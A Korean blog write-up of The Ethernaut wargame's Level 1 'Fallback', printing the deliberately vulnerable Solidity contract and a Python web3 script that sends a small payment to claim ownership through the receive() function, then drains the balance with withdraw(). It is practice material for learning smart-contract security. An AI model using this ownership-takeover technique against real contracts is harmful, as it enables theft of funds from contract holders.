One_Blog

The Ethernaut - Level 1 (FallBack) write up 본문

블록체인

The Ethernaut - Level 1 (FallBack) write up

0xOne 2023. 11. 6. 17:31
728x90

이번에는 블록체인 워게임 라이트업입니다.

 

Level 1 - FallBack 풀이입니다.

 

해당 문제의 컨트랙트는 

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

다음과 같다.

 

그리고 글을 대강 읽어보면 워게임을 푸는 방법을 알 수 있다.

 

조건은 다음과 같다.

 

1. 컨트랙트 소유권을 가져올 것

2. 컨트랙트 잔고를 0으로 만들 것

 

The Ethernaut을 풀 때는 보통 콘솔창에서 함수를 호출해가며 진행하지만, 

 

난 나중에 CTF 또는 버그바운티 때 직접 통신할 것을 대비해서 파이썬으로 코드를 짜서 풀었다.

 

이제 본격적으로 라이트업을 적어보겠다.

 

스타트! from 감펩님

 

우선 owner가 되기 위해 대강 코드를 살펴보면 

 

이런식으로 owner을 msg.sender로 재정의해주는 코드가 두 부분이나 있습니다.

 

우선 1번 코드의 경우 메시지에 담긴 이더 가치가 0보다 크며, contributions[msg.sender]의 값이 0보다 크면

 

msg.sender를 owner로 만들어줍니다.

 

두번째 방법은 contributions 값이 1000 ether가 되야 합니다.

 

애초에 왠만해선 1000 ether가 없을 뿐더러,받는 이더를 0.001 미만의 이더로 유지하고 있습니다.

 

그렇기 때문에 두번째 방법은 좀 어렵고, 첫번째 방법을 사용하여야 합니다.

 

우선 contribute 함수는 payable로 구성되어 있기에 우리가 이더를 전송하면 자동으로 contribute에서 받게 됩니다.

 

contribute에 contribution[msg.sender] += (보낸이더) 코드가 존재하기에 

 

owner가 되기 위해선 contribute에 0보다 큰 값 만큼 이더를 전송하여야 합니다.

 

다음과 같은 필터링이 존재하는데, contribtion의 필터링을 우회하고 이더를 넣어주기 위해선 

 

0.00001 이더를 전송해야 합니다. (0.001보다 작으면서 0보다 큰 이더)

 

그렇게 전송하고 나면 contributions[msg.sender] 값이 0보다 커지게 됩니다.

 

이제 이더를 전송하면

receive의 require 조건을 통과하여 owner의 주소를 제 메타마스크 주소로 바꿀 수 있습니다.

 

그러면

 

owner의 권한이 제 메타마스크 주소로 넘어올 것이고, 저는 owner가 되어 withdraw()를 호출하여

 

잔고를 0으로 만들고 인스턴스를 제출해 문제를 풀 수 있을 것입니다.

 

 

from web3 import Web3, utils
import json
from solc import *
import time
account_address = 'REDACTED'
private_key = 'REDACTED'
contract_address = 'REDACTED'
w3 = Web3(Web3.HTTPProvider('REDACTED'))

PA=w3.eth.account.from_key(private_key)
Public_Address=PA.address
print("Gas Price : ",w3.eth.gas_price)

transaction = {
    'to': contract_address,
    'value': 10000000000000, # wei
    'gasPrice': w3.eth.gas_price,
    'nonce': w3.eth.get_transaction_count(Public_Address),
    'chainId': w3.eth.chain_id,
    'gas':31000
}

signed_txn = w3.eth.account.sign_transaction(transaction, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)


print(f'Transaction sent with hash: {tx_hash.hex()}')
txn_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Transaction receipt: {txn_receipt}')

다음과 같은 코드를 통해 컨트랙트와 통신하고 0.00001 이더를 전송할 수 있습니다.

 

해당 코드를 실행하고 이더리움 영수증의 상태코드가 1인 것이 확인되면 트랜잭션이 잘 전송되었음을 의미합니다.

 

만약 상태코드가 0으로 표시되면 가스 가격을 올려보면 됩니다.

 

가끔 가스 가격 때문에 트랜잭션 전송이 실패할 때가 있습니다.

 

어쨌든 간에 다음과 같은 코드를 2번 실행하고 

 

콘솔창에서 withdraw함수를 몇번 호출하여 잔고를 0으로 만들고 나면

 

무사히 Level 1을 풀 수 있습니다.

 

레벨이 풀리면 Go to the next level이 표시됩니다.

 

글 읽어주셔서 감사합니다.